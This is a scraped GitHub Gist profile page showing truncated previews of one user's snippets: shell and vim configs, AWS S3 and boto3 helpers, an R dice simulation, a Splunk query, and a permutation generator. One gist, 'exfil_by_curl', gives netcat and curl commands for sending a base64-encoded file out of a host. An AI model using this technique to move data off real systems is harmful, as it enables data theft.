Skip to content

Instantly share code, notes, and snippets.


william packetchef

  • 01060
View GitHub Profile
packetchef / .bash_profile
Created Jul 21, 2020
My sweet bash profile for macOS
View .bash_profile
# Simple PS1 - we don't actually use this because we redefine PS1 later
if [ -n "$PS1" ]; then PS1='\h:\w \u\$ '; fi
# Make bash check it's window size after a process completes
shopt -s checkwinsize
export PATH
export GOPATH=$HOME/src/go
View .vimrc
# My VIM config
# You can also call each of these individually from a : command prompt
# Clear last search highlighting
# Do case-sensitive search
set noic
# Do case-insensitive search
View world_map.base64
View s3_list_objects.js
const AWS = require('aws-sdk');
const s3 = new AWS.S3();
export.handlers = async (event) => {
console.log('Loading function');
const allKeys = [];
await getKeys({Bucket: 'my-bucket-here'}, allKeys);
return allKeys;
View simulating_die_rolls.r
NumRolls <- 6000
DiceSides <- 6
NumImages <- 300
PlotToScreen <- FALSE
SaveToFiles <- TRUE
packetchef / exfil_by_curl
Created Apr 2, 2020
An inelegant but functional method to exfiltrate binary data when all you have on the source host is curl
View exfil_by_curl
On target host:
$ nc -l 9999 > myincomingfile.b64
On source host:
$ base64 gold.bin > gold.b64
# For large files, curl will wait for a 100-continue before sending data - add an empty Expect header to avoid this
$ curl -H 'Expect:' -F attachment=@gold.b64 http://target:9999
On target host:
View splunk_indextime.spl
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S")
| table _time indextime
packetchef /
Created Mar 20, 2020
Return the value for a tag with a specific name
tags = [{'Key': 'Name', 'Value': 'tag testing'}, {'Key': 'Ec2ImageBuilderArn', 'Value': 'arn:aws:imagebuilder:us-east-1:123412341234:image/my-build/1.0.0/1'}]
nameTagKey = 'Name'
tagName = [ x['Value'] for x in tags if x['Key'] == nameTagKey ][0]
# Should return 'tag testing'
packetchef /
Created Mar 20, 2020
Return a list of configured profiles
import boto3
available_profiles = boto3.session.Session().available_profiles
# Should return a list of configured profiles
import re
import hashlib
import string
from itertools import product
def all_perms_with_repeat(validChars, repeatCount):
chars = list(validChars)
results = []
for c in product(chars, repeat = repeatCount):
You can’t perform that action at this time.